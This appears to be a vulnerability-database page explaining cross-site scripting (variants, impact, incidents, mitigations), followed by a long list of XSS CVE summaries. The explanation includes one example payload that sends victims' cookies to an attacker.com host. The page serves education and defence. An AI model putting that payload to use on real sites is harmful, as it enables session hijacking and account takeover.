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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39237)

EPSS 0% CVSS 4.8
MEDIUM This Month

Halo-1.5.0 was discovered to contain a stored cross-site scripting (XSS) vulnerability via \admin\index.html#/system/tools. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Halo
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

ASUS RT-AX88U has insufficient filtering for special characters in the HTTP header parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Rt Ax88U Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

OWASP AntiSamy before 1.6.7 allows XSS via HTML tag smuggling on STYLE content with crafted input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Antisamy Enterprise Manager Base Platform +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

OWASP AntiSamy before 1.6.6 allows XSS via HTML tag smuggling on STYLE content with crafted input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Antisamy
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

ACS Commons version 5.1.x (and earlier) suffers from a Reflected Cross-site Scripting (XSS) vulnerability in /apps/acs-commons/content/page-compare.html endpoint via the a and b GET parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Acs Aem Commons
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Unified Communications Manager (Unified CM), Cisco Unified CM Session Management Edition (Unified CM SME), and Cisco Unity Connection. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Unified Communications Manager +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the authentication component of Cisco Webex Meetings could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the web-based. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Webex Meetings
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Combodo iTop is a web based IT Service Management tool. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Itop
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

GLPI is a Free Asset and IT Management Software package, that provides ITIL Service Desk features, licenses tracking and software auditing. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Glpi
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

GLPI is a Free Asset and IT Management Software package, that provides ITIL Service Desk features, licenses tracking and software auditing. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Glpi
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Maximo Asset Management 7.6.1.2 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Maximo Asset Management
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Maximo Asset Management 7.6.1.2 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Maximo Asset Management
NVD
EPSS 4% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository chatwoot/chatwoot prior to 2.5.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Chatwoot
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

There is a cross-site scripting (XSS) vulnerability in an NI Web Server component installed with several NI products. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Flexlogger G Web Development Software +3
NVD
EPSS 41% CVSS 6.1
MEDIUM POC THREAT This Month

A reflected XSS issue exists in the Management Console of several WSO2 products. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Api Manager Api Manager Analytics +7
NVD Exploit-DB
EPSS 18% CVSS 6.1
MEDIUM POC KEV THREAT This Month

A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zimbra Collaboration Suite
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

An issue was discovered in MISP before 2.4.158. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Misp
NVD GitHub VulDB
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

An issue was discovered in MISP before 2.4.158. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Misp
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

An issue was discovered in MISP before 2.4.158. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Misp
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

An issue was discovered in MISP before 2.4.158. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Misp
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

An issue was discovered in MISP before 2.4.158. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Misp
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Origin Protocol is a blockchain based project. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Origin Website
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

wire-webapp is the web application interface for the wire messaging service. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

RCE XSS Docker +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

An XSS issue was discovered on Olivetti d-COLOR MF3555 2XD_S000.002.271 devices. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS D Color Mf3555 Firmware
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

The CleanTalk AntiSpam plugin <= 5.173 for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) via the $_REQUEST['page'] parameter in`/lib/Cleantalk/ApbctWP/FindSpam/ListTable/Users.php`. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS WordPress +1
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

The CleanTalk AntiSpam plugin <= 5.173 for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) via the $_REQUEST['page'] parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS WordPress +1
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

The WordPress WP YouTube Live Plugin is vulnerable to Reflected Cross-Site Scripting via POST data found in the ~/inc/admin.php file which allows unauthenticated attackers to inject arbitrary web. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress PHP XSS +1
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Asset module's asset categories selector in Liferay Portal 7.3.3 through 7.4.0, and Liferay DXP 7.3 before service pack 3 allows remote attackers to. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Digital Experience Platform Liferay Portal
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Autolinks WordPress plugin through 1.0.1 does not have CSRF check in place when updating its settings, and does not sanitise as well as escape them, which could allow attackers to perform Stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS CSRF WordPress +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The sanitisation step of the Safe SVG WordPress plugin before 1.9.10 can be bypassed by spoofing the content-type in the POST request to upload a file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS WordPress Safe Svg
NVD GitHub WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Good & Bad Comments WordPress plugin through 1.0.0 does not sanitise and escape its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Good Bad Comments
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Page Security & Membership WordPress plugin through 1.5.15 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Page Security Membership
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Thank Me Later WordPress plugin through 3.3.4 does not sanitise and escape the Message Subject field before outputting it in the Messages list, which could allow high privileges users such as. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Thank Me Later
NVD WPScan
EPSS 5% CVSS 4.8
MEDIUM POC PATCH This Month

The WP Downgrade WordPress plugin before 1.2.3 only perform client side validation of its "WordPress Target Version" settings, but does not sanitise and escape it server side, allowing high privilege. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Wp Downgrade
NVD WPScan
EPSS 3% CVSS 4.8
MEDIUM POC This Month

The Hummingbird WordPress plugin before 3.3.2 does not sanitise and escape the Config Name, which could allow high privilege users, such as admin to perform cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Hummingbird
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The Caldera Forms WordPress plugin before 1.9.7 does not validate and escape the cf-api parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Caldera Forms
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The SearchIQ WordPress plugin before 3.9 contains a flag to disable the verification of CSRF nonces, granting unauthenticated attackers access to the siq_ajax AJAX action and allowing them to perform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS CSRF WordPress +1
NVD WPScan
EPSS 4% CVSS 5.4
MEDIUM POC This Month

The Loco Translate WordPress plugin before 2.6.1 does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Loco Translate
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Text Hover WordPress plugin before 4.2 does not sanitize and escape the text to hover, which could allow high privilege users to perform Cross-Site Scripting attacks even when the unfiltered_html. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Text Hover
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Easy Digital Downloads WordPress plugin before 2.11.6 does not sanitise and escape the Downloadable File Name in the Logs, which could allow high privilege users to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS WordPress Easy Digital Downloads
NVD WPScan
EPSS 40% CVSS 7.2
HIGH POC THREAT This Week

The Ad Injection WordPress plugin through 1.2.0.19 does not properly sanitize the body of the adverts injected into the pages, allowing a high privileged user (Admin+) to inject arbitrary HTML or. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Code Injection +3
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM This Month

Authenticated (author or higher role) Stored Cross-Site Scripting (XSS) in Contest Gallery (WordPress plugin) <= 13.1.0.9. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Contest Gallery
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored Cross Site Scripting vulnerability in Item name parameter in GitHub repository snipe/snipe-it prior to v5.4.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Snipe It
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

ForestBlog through 2022-02-16 allows admin/profile/save userAvatar XSS during addition of a user avatar. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Forestblog
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Chamilo LMS v1.11.13 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /blog/blog.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

PHP XSS Chamilo
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A reflected cross-site scripting (XSS) vulnerability in Chamilo LMS v1.11.13 allows attackers to execute arbitrary web scripts or HTML via user interaction with a crafted URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Chamilo Lms
NVD
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

LDAP Account Manager (LAM) is an open source web frontend for managing entries stored in an LDAP directory. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Path Traversal Ldap Account Manager +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple Unauthenticated Stored Cross-Site Scripting (XSS) vulnerabilities in KB Support (WordPress plugin) <= 1.5.5 versions. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress Kb Support
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple Cross-Site Scripting (XSS) vulnerabilities in Hubzilla 7.0.3 and earlier allows remote attacker to include arbitrary web script or HTML via the rpath parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Hubzilla
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Multiple cross-site scripting (XSS) vulnerabilities in Liferay Portal 7.3.5 through 7.4.0, and Liferay DXP 7.3 before service pack 3 allow remote attackers to inject arbitrary web script or HTML via. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Liferay Portal
NVD VulDB
EPSS 1% CVSS 6.7
MEDIUM This Month

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated medium severity (CVSS 6.7), this vulnerability is low attack complexity. No vendor patch available.

RCE Cisco XSS +6
NVD
EPSS 1% CVSS 7.5
HIGH This Week

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE Cisco XSS +4
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE Cisco XSS +6
NVD GitHub
EPSS 1% CVSS 5.3
MEDIUM POC This Month

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

RCE Cisco XSS +5
NVD GitHub
EPSS 2% CVSS 7.2
HIGH POC This Week

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE Cisco XSS +2
NVD GitHub
EPSS 1% CVSS 4.9
MEDIUM PATCH This Month

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated medium severity (CVSS 4.9), this vulnerability is remotely exploitable, low attack complexity. This Path Traversal vulnerability could allow attackers to access files and directories outside the intended path.

RCE Cisco XSS +2
NVD GitHub
EPSS 1% CVSS 4.9
MEDIUM This Month

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated medium severity (CVSS 4.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE Cisco XSS +2
NVD GitHub
EPSS 1% CVSS 7.2
HIGH This Week

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE Cisco XSS +2
NVD GitHub
EPSS 3% CVSS 7.2
HIGH POC This Week

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE Cisco XSS +2
NVD GitHub
EPSS 2% CVSS 7.2
HIGH POC This Week

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE Cisco XSS +2
NVD GitHub
EPSS 1% CVSS 6.7
MEDIUM This Month

Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system,. Rated medium severity (CVSS 6.7), this vulnerability is low attack complexity. No vendor patch available.

RCE Cisco XSS +2
NVD
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

XSS via Embedded SVG in SVG Diagram Format in GitHub repository plantuml/plantuml prior to 1.2022.4. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

RCE XSS Atlassian +2
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Metabase is an open source business intelligence and analytics application. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Metabase
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

Authenticated (admin+ user) Stored Cross-Site Scripting (XSS) in Modern Events Calendar Lite (WordPress plugin) <= 6.5.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Modern Events Calendar Lite
NVD
EPSS 78% CVSS 4.8
MEDIUM POC THREAT This Month

A stored cross-site scripting vulnerability exists in the WebUserActions.aspx functionality of Lansweeper lansweeper 9.1.20.2. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Lansweeper
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A Cross-site Scripting (XSS) vulnerability in Juniper Networks Junos OS J-Web allows an attacker to construct a URL that when visited by another user enables the attacker to execute commands with the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Juniper XSS Junos
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A reflected Cross-site Scripting (XSS) vulnerability in J-Web of Juniper Networks Junos OS allows a network-based authenticated attacker to run malicious scripts reflected off J-Web to the victim's. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Juniper XSS Junos
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Stored XSS in Tooltip in GitHub repository pimcore/pimcore prior to 10.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 8.4
HIGH POC PATCH This Week

Stored XSS in the "Username" & "Email" input fields leads to account takeover of Admin & Co-admin users in GitHub repository causefx/organizr prior to 2.1.1810. Rated high severity (CVSS 8.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

Privilege Escalation XSS Organizr
NVD GitHub
EPSS 1% CVSS 9.0
CRITICAL POC PATCH Act Now

Stored XSS viva .svg file upload in GitHub repository causefx/organizr prior to 2.1.1810. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS File Upload Information Disclosure +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected cross site scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Sd Wan 110 Firmware Sd Wan 210 Firmware +10
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site Scripting (XSS) vulnerability in Citrix StoreFront affects version 1912 before CU5 and version 3.12 before CU9. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Citrix Storefront Server
NVD
EPSS 1% CVSS 9.0
CRITICAL POC PATCH Act Now

Multiple Stored XSS in GitHub repository causefx/organizr prior to 2.1.1810. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Information Disclosure Organizr
NVD GitHub
EPSS 1% CVSS 9.0
CRITICAL POC PATCH Act Now

Stored XSS due to no sanitization in the filename in GitHub repository causefx/organizr prior to 2.1.1810. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Information Disclosure Organizr
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

An XSS issue was discovered in MantisBT before 2.25.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP RCE XSS +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross site scripting (XSS) vulnerability in tramyardg hotel-mgmt-system, allows attackers to execute arbitrary code when when /admin.php is loaded. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP RCE XSS +1
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

stored xss due to unsantized anchor url in GitHub repository alvarotrigo/fullpage.js prior to 4.0.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Fullpage
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins promoted builds Plugin 873.v6149db_d64130 and earlier, except 3.10.1, does not validate the names of promotions defined in Job DSL, allowing attackers with Job/Configure permission to create. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Promoted Builds
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Subversion Plugin 2.15.3 and earlier does not escape the name and description of List Subversion tags (and more) parameters on views displaying parameters, resulting in a stored cross-site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Subversion +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins promoted builds Plugin 873.v6149db_d64130 and earlier, except 3.10.1, does not escape the name and description of Promoted Build parameters on views displaying parameters, resulting in a. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Promoted Builds
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Node and Label parameter Plugin 1.10.3 and earlier does not escape the name and description of Node and Label parameters on views displaying parameters, resulting in a stored cross-site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Node And Label Parameter
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Mask Passwords Plugin 3.0 and earlier does not escape the name and description of Non-Stored Password parameters on views displaying parameters, resulting in a stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Mask Passwords
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Jenkins Job Generator Plugin 1.22 and earlier does not escape the name and description of Generator Parameter and Generator Choice parameters on Job Generator jobs' Build With Parameters views,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Job Generator
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Jira Plugin 3.7 and earlier, except 3.6.1, does not escape the name and description of Jira Issue and Jira Release Version parameters on views displaying parameters, resulting in a stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Atlassian Jenkins +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Git Parameter Plugin 0.9.15 and earlier does not escape the name and description of Git parameters on views displaying parameters, resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Git Parameter
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

